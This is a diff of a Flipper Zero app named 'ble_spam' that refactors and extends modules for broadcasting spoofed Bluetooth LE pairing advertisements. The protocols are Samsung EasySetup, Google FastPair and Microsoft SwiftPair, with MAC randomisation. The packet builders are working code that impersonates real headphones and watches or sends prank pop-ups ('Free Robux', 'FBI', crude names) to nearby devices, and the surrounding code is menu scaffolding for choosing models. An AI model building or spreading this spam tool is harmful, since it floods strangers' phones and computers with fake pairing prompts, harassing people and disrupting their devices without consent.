+        break;
+    case buds_models_count + 1:
+        scene_manager_next_scene(ctx->scene_manager, SceneEasysetupBudsModelCustom);
+        break;
+    default:
+        cfg->data.buds.model = buds_models[index - 1].value;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    }
+}
+void scene_easysetup_buds_model_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    Submenu* submenu = ctx->submenu;
+    uint32_t selected = 0;
+    bool found = false;
+    submenu_reset(submenu);
+
+    submenu_add_item(submenu, "Random", 0, buds_model_callback, ctx);
+    if(cfg->data.buds.model == 0x000000) {
+        found = true;
+        selected = 0;
+    }
+    for(uint8_t i = 0; i < buds_models_count; i++) {
+        submenu_add_item(submenu, buds_models[i].name, i + 1, buds_model_callback, ctx);
+        if(!found && cfg->data.buds.model == buds_models[i].value) {
+            found = true;
+            selected = i + 1;
+        }
+    }
+    submenu_add_item(submenu, "Custom", buds_models_count + 1, buds_model_callback, ctx);
+    if(!found) {
+        found = true;
+        selected = buds_models_count + 1;
+    }
+
+    submenu_set_selected_item(submenu, selected);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
+}
+bool scene_easysetup_buds_model_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_easysetup_buds_model_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}
+
+static void buds_model_custom_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    scene_manager_previous_scene(ctx->scene_manager);
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_easysetup_buds_model_custom_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    ByteInput* byte_input = ctx->byte_input;
+
+    byte_input_set_header_text(byte_input, "Enter custom Model Code");
+
+    ctx->byte_store[0] = (cfg->data.buds.model >> 0x10) & 0xFF;
+    ctx->byte_store[1] = (cfg->data.buds.model >> 0x08) & 0xFF;
+    ctx->byte_store[2] = (cfg->data.buds.model >> 0x00) & 0xFF;
+
+    byte_input_set_result_callback(
+        byte_input, buds_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
+}
+bool scene_easysetup_buds_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_easysetup_buds_model_custom_on_exit(void* _ctx) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    cfg->data.buds.model =
+        (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
+}
+
+static void watch_model_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    switch(index) {
+    case 0:
+        cfg->data.watch.model = 0x00;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    case watch_models_count + 1:
+        scene_manager_next_scene(ctx->scene_manager, SceneEasysetupWatchModelCustom);
+        break;
+    default:
+        cfg->data.watch.model = watch_models[index - 1].value;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    }
+}
+void scene_easysetup_watch_model_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    Submenu* submenu = ctx->submenu;
+    uint32_t selected = 0;
+    bool found = false;
+    submenu_reset(submenu);
+
+    submenu_add_item(submenu, "Random", 0, watch_model_callback, ctx);
+    if(cfg->data.watch.model == 0x00) {
+        found = true;
+        selected = 0;
+    }
+    for(uint8_t i = 0; i < watch_models_count; i++) {
+        submenu_add_item(submenu, watch_models[i].name, i + 1, watch_model_callback, ctx);
+        if(!found && cfg->data.watch.model == watch_models[i].value) {
+            found = true;
+            selected = i + 1;
+        }
+    }
+    submenu_add_item(submenu, "Custom", watch_models_count + 1, watch_model_callback, ctx);
+    if(!found) {
+        found = true;
+        selected = watch_models_count + 1;
+    }
+
+    submenu_set_selected_item(submenu, selected);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
+}
+bool scene_easysetup_watch_model_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_easysetup_watch_model_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}
+
+static void watch_model_custom_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    scene_manager_previous_scene(ctx->scene_manager);
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_easysetup_watch_model_custom_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    ByteInput* byte_input = ctx->byte_input;
+
+    byte_input_set_header_text(byte_input, "Enter custom Model Code");
+
+    ctx->byte_store[0] = (cfg->data.watch.model >> 0x00) & 0xFF;
+
+    byte_input_set_result_callback(
+        byte_input, watch_model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 1);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
+}
+bool scene_easysetup_watch_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_easysetup_watch_model_custom_on_exit(void* _ctx) {
+    Ctx* ctx = _ctx;
+    EasysetupCfg* cfg = &ctx->attack->payload.cfg.easysetup;
+    cfg->data.watch.model = (ctx->byte_store[0] << 0x00);
+}

+ 25 - 0
ble_spam/protocols/easysetup.h

@@ -0,0 +1,25 @@
+#pragma once
+#include "_base.h"
+
+// Hacked together by @Willy-JL and @Spooks4576
+// Research by @Spooks4576
+
+typedef enum {
+    EasysetupTypeBuds,
+    EasysetupTypeWatch,
+    EasysetupTypeCOUNT,
+} EasysetupType;
+
+typedef struct {
+    EasysetupType type;
+    union {
+        struct {
+            uint32_t model;
+        } buds;
+        struct {
+            uint8_t model;
+        } watch;
+    } data;
+} EasysetupCfg;
+
+extern const Protocol protocol_easysetup;

+ 4 - 0
ble_spam/protocols/easysetup_scenes.h

@@ -0,0 +1,4 @@
+ADD_SCENE(easysetup_buds_model, EasysetupBudsModel)
+ADD_SCENE(easysetup_buds_model_custom, EasysetupBudsModelCustom)
+ADD_SCENE(easysetup_watch_model, EasysetupWatchModel)
+ADD_SCENE(easysetup_watch_model_custom, EasysetupWatchModelCustom)

+ 212 - 32
ble_spam/protocols/fastpair.c

@@ -1,39 +1,57 @@
 #include "fastpair.h"
-#include "_registry.h"
+#include "_protocols.h"
 
 // Hacked together by @Willy-JL and @Spooks4576
 // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
 
-const char* fastpair_get_name(const BleSpamMsg* _msg) {
-    const FastpairMsg* msg = &_msg->fastpair;
-    UNUSED(msg);
+const struct {
+    uint32_t value;
+    const char* name;
+} models[] = {
+    // Genuine devices
+    {0xCD8256, "Bose NC 700"},
+    {0xF52494, "JBL Buds Pro"},
+    {0x718FA4, "JBL Live 300TWS"},
+    {0x821F66, "JBL Flip 6"},
+    {0x92BBBD, "Pixel Buds"},
+    {0xD446A7, "Sony XM5"},
+    {0x2D7A23, "Sony WF-1000XM4"},
+    {0x0E30C3, "Razer Hammerhead TWS"},
+    {0x72EF8D, "Razer Hammerhead TWS X"},
+    {0x72FB00, "Soundcore Spirit Pro GVA"},
+
+    // Custom debug popups
+    {0xD99CA1, "Flipper Zero"},
+    {0x77FF67, "Free Robux"},
+    {0xAA187F, "Free VBucks"},
+    {0xDCE9EA, "Rickroll"},
+    {0x87B25F, "Animated Rickroll"},
+    {0xF38C02, "Boykisser"},
+    {0x1448C9, "BLM"},
+    {0xD5AB33, "Xtreme"},
+    {0x0C0B67, "Xtreme Cta"},
+    {0x13B39D, "Talking Sasquach"},
+    {0xAA1FE1, "ClownMaster"},
+    {0x7C6CDB, "Obama"},
+    {0x005EF9, "Ryanair"},
+    {0xE2106F, "FBI"},
+    {0xB37A62, "Tesla"},
+};
+const uint8_t models_count = COUNT_OF(models);
+
+static const char* fastpair_get_name(const ProtocolCfg* _cfg) {
+    UNUSED(_cfg);
     return "FastPair";
 }
 
-void fastpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
-    const FastpairMsg* msg = _msg ? &_msg->fastpair : NULL;
+static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
+    const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL;
 
-    uint32_t model_id;
-    if(msg && msg->model_id != 0x000000) {
-        model_id = msg->model_id;
+    uint32_t model;
+    if(cfg && cfg->model != 0x000000) {
+        model = cfg->model;
     } else {
-        const uint32_t models[] = {
-            // Genuine devices
-            0xCD8256, // Bose NC 700
-            0xF52494, // JBL Buds Pro
-            0x718FA4, // JBL Live 300TWS
-            0x821F66, // JBL Flip 6
-            0x92BBBD, // Pixel Buds
-
-            // Custom debug popups
-            0xAA1FE1, // ClownMaster
-            0xAA187F, // VBucks
-            0xF38C02, // Boykisser
-            0x1448C9, // BLM
-            0xD5AB33, // Xtreme
-            0x13B39D, // Talking Sasquach
-        };
-        model_id = models[rand() % COUNT_OF(models)];
+        model = models[rand() % models_count].value;
     }
 
     uint8_t size = 14;
@@ -49,20 +67,182 @@ void fastpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpam
     packet[i++] = 0x16; // AD Type (Service Data)
     packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
     packet[i++] = 0xFE; // ...
-    packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID
-    packet[i++] = (model_id >> 0x08) & 0xFF; // ...
-    packet[i++] = (model_id >> 0x00) & 0xFF; // ...
+    packet[i++] = (model >> 0x10) & 0xFF;
+    packet[i++] = (model >> 0x08) & 0xFF;
+    packet[i++] = (model >> 0x00) & 0xFF;
 
     packet[i++] = 2; // Size
     packet[i++] = 0x0A; // AD Type (Tx Power Level)
     packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
 
-    *out_size = size;
-    *out_packet = packet;
+    *_size = size;
+    *_packet = packet;
+}
+
+enum {
+    _ConfigExtraStart = ConfigExtraStart,
+    ConfigModel,
+    ConfigInfoRequire,
+    ConfigCOUNT,
+};
+static void config_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
+    switch(index) {
+    case ConfigModel:
+        scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel);
+        break;
+    case ConfigInfoRequire:
+        break;
+    default:
+        ctx->fallback_config_enter(ctx, index);
+        break;
+    }
+}
+static void model_changed(VariableItem* item) {
+    FastpairCfg* cfg = variable_item_get_context(item);
+    uint8_t index = variable_item_get_current_value_index(item);
+    if(index) {
+        index--;
+        cfg->model = models[index].value;
+        variable_item_set_current_value_text(item, models[index].name);
+    } else {
+        cfg->model = 0x000000;
+        variable_item_set_current_value_text(item, "Random");
+    }
+}
+static void fastpair_extra_config(Ctx* ctx) {
+    FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
+    VariableItemList* list = ctx->variable_item_list;
+    VariableItem* item;
+    size_t value_index;
+
+    item = variable_item_list_add(list, "Model Code", models_count + 1, model_changed, cfg);
+    const char* model_name = NULL;
+    char model_name_buf[9];
+    if(cfg->model == 0x000000) {
+        model_name = "Random";
+        value_index = 0;
+    } else {
+        for(uint8_t i = 0; i < models_count; i++) {
+            if(cfg->model == models[i].value) {
+                model_name = models[i].name;
+                value_index = i + 1;
+                break;
+            }
+        }
+        if(!model_name) {
+            snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model);
+            model_name = model_name_buf;
+            value_index = models_count + 1;
+        }
+    }
+    variable_item_set_current_value_index(item, value_index);
+    variable_item_set_current_value_text(item, model_name);
+
+    variable_item_list_add(list, "Requires Google services", 0, NULL, NULL);
+
+    variable_item_list_set_enter_callback(list, config_callback, ctx);
+}
+
+static uint8_t fastpair_config_count(const ProtocolCfg* _cfg) {
+    UNUSED(_cfg);
+    return ConfigCOUNT - ConfigExtraStart - 1;
 }
 
-const BleSpamProtocol ble_spam_protocol_fastpair = {
+const Protocol protocol_fastpair = {
     .icon = &I_android,
     .get_name = fastpair_get_name,
     .make_packet = fastpair_make_packet,
+    .extra_config = fastpair_extra_config,
+    .config_count = fastpair_config_count,
 };
+
+static void model_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
+    switch(index) {
+    case 0:
+        cfg->model = 0x000000;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    case models_count + 1:
+        scene_manager_next_scene(ctx->scene_manager, SceneFastpairModelCustom);
+        break;
+    default:
+        cfg->model = models[index - 1].value;
+        scene_manager_previous_scene(ctx->scene_manager);
+        break;
+    }
+}
+void scene_fastpair_model_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
+    Submenu* submenu = ctx->submenu;
+    uint32_t selected = 0;
+    bool found = false;
+    submenu_reset(submenu);
+
+    submenu_add_item(submenu, "Random", 0, model_callback, ctx);
+    if(cfg->model == 0x000000) {
+        found = true;
+        selected = 0;
+    }
+    for(uint8_t i = 0; i < models_count; i++) {
+        submenu_add_item(submenu, models[i].name, i + 1, model_callback, ctx);
+        if(!found && cfg->model == models[i].value) {
+            found = true;
+            selected = i + 1;
+        }
+    }
+    submenu_add_item(submenu, "Custom", models_count + 1, model_callback, ctx);
+    if(!found) {
+        found = true;
+        selected = models_count + 1;
+    }
+
+    submenu_set_selected_item(submenu, selected);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
+}
+bool scene_fastpair_model_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_fastpair_model_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}
+
+static void model_custom_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    scene_manager_previous_scene(ctx->scene_manager);
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_fastpair_model_custom_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
+    ByteInput* byte_input = ctx->byte_input;
+
+    byte_input_set_header_text(byte_input, "Enter custom Model Code");
+
+    ctx->byte_store[0] = (cfg->model >> 0x10) & 0xFF;
+    ctx->byte_store[1] = (cfg->model >> 0x08) & 0xFF;
+    ctx->byte_store[2] = (cfg->model >> 0x00) & 0xFF;
+
+    byte_input_set_result_callback(
+        byte_input, model_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
+}
+bool scene_fastpair_model_custom_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_fastpair_model_custom_on_exit(void* _ctx) {
+    Ctx* ctx = _ctx;
+    FastpairCfg* cfg = &ctx->attack->payload.cfg.fastpair;
+    cfg->model =
+        (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
+}

+ 3 - 3
ble_spam/protocols/fastpair.h

@@ -5,7 +5,7 @@
 // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
 
 typedef struct {
-    uint32_t model_id;
-} FastpairMsg;
+    uint32_t model;
+} FastpairCfg;
 
-extern const BleSpamProtocol ble_spam_protocol_fastpair;
+extern const Protocol protocol_fastpair;

+ 2 - 0
ble_spam/protocols/fastpair_scenes.h

@@ -0,0 +1,2 @@
+ADD_SCENE(fastpair_model, FastpairModel)
+ADD_SCENE(fastpair_model_custom, FastpairModelCustom)

+ 84 - 17
ble_spam/protocols/swiftpair.c

@@ -1,21 +1,20 @@
 #include "swiftpair.h"
-#include "_registry.h"
+#include "_protocols.h"
 
 // Hacked together by @Willy-JL and @Spooks4576
 // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
 
-const char* swiftpair_get_name(const BleSpamMsg* _msg) {
-    const SwiftpairMsg* msg = &_msg->swiftpair;
-    UNUSED(msg);
+static const char* swiftpair_get_name(const ProtocolCfg* _cfg) {
+    UNUSED(_cfg);
     return "SwiftPair";
 }
 
-void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
-    const SwiftpairMsg* msg = _msg ? &_msg->swiftpair : NULL;
+static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) {
+    const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL;
 
-    const char* display_name;
-    if(msg && msg->display_name[0] != '\0') {
-        display_name = msg->display_name;
+    const char* name;
+    if(cfg && cfg->name[0] != '\0') {
+        name = cfg->name;
     } else {
         const char* names[] = {
             "Assquach💦",
@@ -25,11 +24,11 @@ void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpa
             "👉👌",
             "🔵🦷",
         };
-        display_name = names[rand() % COUNT_OF(names)];
+        name = names[rand() % COUNT_OF(names)];
     }
-    uint8_t display_name_len = strlen(display_name);
+    uint8_t name_len = strlen(name);
 
-    uint8_t size = 7 + display_name_len;
+    uint8_t size = 7 + name_len;
     uint8_t* packet = malloc(size);
     uint8_t i = 0;
 
@@ -40,15 +39,83 @@ void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpa
     packet[i++] = 0x03; // Microsoft Beacon ID
     packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
     packet[i++] = 0x80; // Reserved RSSI Byte
-    memcpy(&packet[i], display_name, display_name_len); // Display Name
-    i += display_name_len;
+    memcpy(&packet[i], name, name_len);
+    i += name_len;
 
-    *out_size = size;
-    *out_packet = packet;
+    *_size = size;
+    *_packet = packet;
 }
 
-const BleSpamProtocol ble_spam_protocol_swiftpair = {
+enum {
+    _ConfigExtraStart = ConfigExtraStart,
+    ConfigName,
+    ConfigInfoRequire,
+    ConfigCOUNT,
+};
+static void config_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
+    switch(index) {
+    case ConfigName:
+        scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName);
+        break;
+    case ConfigInfoRequire:
+        break;
+    default:
+        ctx->fallback_config_enter(ctx, index);
+        break;
+    }
+}
+static void swiftpair_extra_config(Ctx* ctx) {
+    SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair;
+    VariableItemList* list = ctx->variable_item_list;
+    VariableItem* item;
+
+    item = variable_item_list_add(list, "Display Name", 0, NULL, NULL);
+    variable_item_set_current_value_text(item, cfg->name[0] != '\0' ? cfg->name : "Random");
+
+    variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL);
+
+    variable_item_list_set_enter_callback(list, config_callback, ctx);
+}
+
+static uint8_t swiftpair_config_count(const ProtocolCfg* _cfg) {
+    UNUSED(_cfg);
+    return ConfigCOUNT - ConfigExtraStart - 1;
+}
+
+const Protocol protocol_swiftpair = {
     .icon = &I_windows,
     .get_name = swiftpair_get_name,
     .make_packet = swiftpair_make_packet,
+    .extra_config = swiftpair_extra_config,
+    .config_count = swiftpair_config_count,
 };
+
+static void name_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_swiftpair_name_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    SwiftpairCfg* cfg = &ctx->attack->payload.cfg.swiftpair;
+    TextInput* text_input = ctx->text_input;
+    text_input_reset(text_input);
+
+    text_input_set_header_text(text_input, "Leave empty for random");
+
+    text_input_set_result_callback(
+        text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true);
+
+    text_input_set_minimum_length(text_input, 0);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput);
+}
+bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_swiftpair_name_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}

+ 3 - 3
ble_spam/protocols/swiftpair.h

@@ -5,7 +5,7 @@
 // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
 
 typedef struct {
-    char display_name[25];
-} SwiftpairMsg;
+    char name[25];
+} SwiftpairCfg;
 
-extern const BleSpamProtocol ble_spam_protocol_swiftpair;
+extern const Protocol protocol_swiftpair;

+ 1 - 0
ble_spam/protocols/swiftpair_scenes.h

@@ -0,0 +1 @@
+ADD_SCENE(swiftpair_name, SwiftpairName)

+ 3 - 0
ble_spam/scenes/_scenes.h

@@ -0,0 +1,3 @@
+ADD_SCENE(main, Main)
+ADD_SCENE(config, Config)
+#include "../protocols/_scenes.h"

+ 30 - 0
ble_spam/scenes/_setup.c

@@ -0,0 +1,30 @@
+#include "_setup.h"
+
+// Generate scene on_enter handlers array
+#define ADD_SCENE(name, id) scene_##name##_on_enter,
+void (*const scene_on_enter_handlers[])(void*) = {
+#include "_scenes.h"
+};
+#undef ADD_SCENE
+
+// Generate scene on_event handlers array
+#define ADD_SCENE(name, id) scene_##name##_on_event,
+bool (*const scene_on_event_handlers[])(void*, SceneManagerEvent) = {
+#include "_scenes.h"
+};
+#undef ADD_SCENE
+
+// Generate scene on_exit handlers array
+#define ADD_SCENE(name, id) scene_##name##_on_exit,
+void (*const scene_on_exit_handlers[])(void*) = {
+#include "_scenes.h"
+};
+#undef ADD_SCENE
+
+// Initialize scene handlers configuration structure
+const SceneManagerHandlers scene_handlers = {
+    .on_enter_handlers = scene_on_enter_handlers,
+    .on_event_handlers = scene_on_event_handlers,
+    .on_exit_handlers = scene_on_exit_handlers,
+    .scene_num = SceneCOUNT,
+};

+ 28 - 0
ble_spam/scenes/_setup.h

@@ -0,0 +1,28 @@
+#pragma once
+
+#include <gui/scene_manager.h>
+
+// Generate scene id and total number
+#define ADD_SCENE(name, id) Scene##id,
+typedef enum {
+#include "_scenes.h"
+    SceneCOUNT,
+} Scene;
+#undef ADD_SCENE
+
+extern const SceneManagerHandlers scene_handlers;
+
+// Generate scene on_enter handlers declaration
+#define ADD_SCENE(name, id) void scene_##name##_on_enter(void*);
+#include "_scenes.h"
+#undef ADD_SCENE
+
+// Generate scene on_event handlers declaration
+#define ADD_SCENE(name, id) bool scene_##name##_on_event(void*, SceneManagerEvent);
+#include "_scenes.h"
+#undef ADD_SCENE
+
+// Generate scene on_exit handlers declaration
+#define ADD_SCENE(name, id) void scene_##name##_on_exit(void*);
+#include "_scenes.h"
+#undef ADD_SCENE

+ 75 - 0
ble_spam/scenes/config.c

@@ -0,0 +1,75 @@
+#include "../ble_spam.h"
+
+#include "protocols/_protocols.h"
+
+static void _config_bool(VariableItem* item) {
+    bool* value = variable_item_get_context(item);
+    *value = variable_item_get_current_value_index(item);
+    variable_item_set_current_value_text(item, *value ? "ON" : "OFF");
+}
+static void config_bool(VariableItemList* list, const char* name, bool* value) {
+    VariableItem* item = variable_item_list_add(list, name, 2, _config_bool, value);
+    variable_item_set_current_value_index(item, *value);
+    variable_item_set_current_value_text(item, *value ? "ON" : "OFF");
+}
+
+static void config_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
+    if(!ctx->attack->protocol) {
+        index--;
+    } else if(ctx->attack->protocol->config_count) {
+        uint8_t extra = ctx->attack->protocol->config_count(&ctx->attack->payload.cfg);
+        if(index > extra) index -= extra;
+    }
+
+    switch(index) {
+    case ConfigRandomMac:
+        break;
+    case ConfigLedIndicator:
+        break;
+    case ConfigLockKeyboard:
+        ctx->lock_keyboard = true;
+        scene_manager_previous_scene(ctx->scene_manager);
+        notification_message_block(ctx->notification, &sequence_display_backlight_off);
+        break;
+    default:
+        break;
+    }
+}
+void scene_config_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    VariableItemList* list = ctx->variable_item_list;
+    variable_item_list_reset(list);
+
+    variable_item_list_set_header(list, ctx->attack->title);
+
+    config_bool(list, "Random MAC", &ctx->attack->payload.random_mac);
+
+    variable_item_list_set_enter_callback(list, config_callback, ctx);
+    if(!ctx->attack->protocol) {
+        variable_item_list_add(list, "None shall escape the SINK", 0, NULL, NULL);
+    } else if(ctx->attack->protocol->extra_config) {
+        ctx->fallback_config_enter = config_callback;
+        ctx->attack->protocol->extra_config(ctx);
+    }
+
+    config_bool(list, "LED Indicator", &ctx->led_indicator);
+
+    variable_item_list_add(list, "Lock Keyboard", 0, NULL, NULL);
+
+    variable_item_list_set_selected_item(
+        list, scene_manager_get_scene_state(ctx->scene_manager, SceneConfig));
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewVariableItemList);
+}
+
+bool scene_config_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+
+void scene_config_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}

+ 16 - 0
ble_spam/scenes/main.c

@@ -0,0 +1,16 @@
+#include "../ble_spam.h"
+
+void scene_main_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewMain);
+}
+
+bool scene_main_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+
+void scene_main_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}